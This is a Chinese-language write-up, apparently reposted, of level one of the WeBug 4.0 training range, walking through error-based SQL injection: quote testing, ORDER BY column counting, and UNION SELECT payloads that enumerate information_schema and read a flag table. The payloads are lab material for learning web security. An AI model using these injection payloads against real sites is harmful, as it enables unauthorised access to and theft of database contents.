概述
感谢webug团队一直以来的更新维护!
webug是什么
WeBug名称定义为“我们的漏洞”靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。
Webug官网:http://www.webug.org
Webug 4.0百度云地址: https://pan.baidu.com/s/1euUY4UG43BuOjhPqkJBvcw 提取码: 3xpy
来源:226安全团队
微信号:safeteam226
开始打靶
观察
这关的标题是显错注入,让我们先看下界面
看到id=1的话,让我们打开id=2,id=3观察下
id=2:
id=3:
通过对比以上三张图,我们可以得到两个结论:
1、红框部分是根据ID不同得到的不同搜索结果
2、猜测,如果搜索不到则那个位置没有结果,如id=3
综合以上,找到注入点的话首先考虑id=3(或其他)+union的方式
寻找注入点
报错注入的话,id=1,猜测下SQL语句是:
select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)
接下来挨个试试单引号、双引号、括号以及他们的相互组合:
url?id=1),括号无反应,看来是屏蔽了
url?id=1",双引号无反应
url?id=1'有结果
正式找到报错注入点了,接下来根据上面的结论让我们构造下url看看有多少列,知道了多少列才方便用union
(mysql有三种注释方法,1、# ... 2、-- ... 3、/.../,%23是#的url表示)
url:id=3' order by 1 %23,正常
url:id=3' order by 10 %23,错误
url:id=3' order by 5 %23,错误
url:id=3' order by 3 %23,错误
url:id=3' order by 2 %23,正常
用二分法最后测到查询结果为两列,接下来让我们看看我们想要的数据在第几列
url:id=3' union select 1,2 %23
在第二列。到了这里就完了,接下来我们可以利用这个注入点获取我们想要的信息了
比如用户名
url:id=3' union select 1,user() %23
比如操作系统名
url:id=3' union select 1,@@version_compile_os %23
2019/3/12:补充实现gif
2019/5/17:增加查询Flag
感谢@qingfengmengge的提醒,我之前一直以为那个提交Flag是吐槽用的呢 - -。好吧,接下来让我们来找Flag。
1、确认mysql版本
url:id=3' union select 1,version() %23
版本大于15的话mysql里面就有information_schema这个数据库,我们可以通过这个数据库获取到mysql里各个数据库及其表和字段的信息
2、确认mysql有哪些数据库
由于页面显示只有一个字段,而我们查出来的数据库肯定有多个。所以这里我们需要用到一个函数GROUP_CONCAT来组合多个数据。
SELECT NAME FROM USER;
SELECT GROUP_CONCAT(NAME) FROM USER;
好了,接下来让我们看看都有哪些数据库吧。
url:id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23
前三个都是mysql自带的数据库,因此我们只需要注意后面的test、webug、webug_sys、webug_width_byte数据库就行
3、确认当前查询的数据库
url:id=3' UNION SELECT 1,DATABASE() %23
注:SCHEMA()也能查当前使用的数据库
4、确认当前数据库下面的表
由于不知道那个Flag在哪,但是还是首先考虑同一个数据库下的表吧
url:id=3' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' %23
我们看见了有flag表,那么里面的内容是不是就是我们需要的呢?
5、确认flag表的字段
url:id=3' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' %23
有id和flag字段,让我们查查有哪些id和flag吧
6、确认flag表的内容
url:id=3' UNION SELECT 1,GROUP_CONCAT(id) FROM flag %23
id只有一个1
那就看看flag字段的值是什么吧
url:id=3' UNION SELECT 1,flag FROM flag where flag.id=1 %23
7、输入flag
成功!
最后
以上就是俭朴荷花为你收集整理的webug 4.0 第一关 显错注入webug是什么开始打靶的全部内容,希望文章能够帮你解决webug 4.0 第一关 显错注入webug是什么开始打靶所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复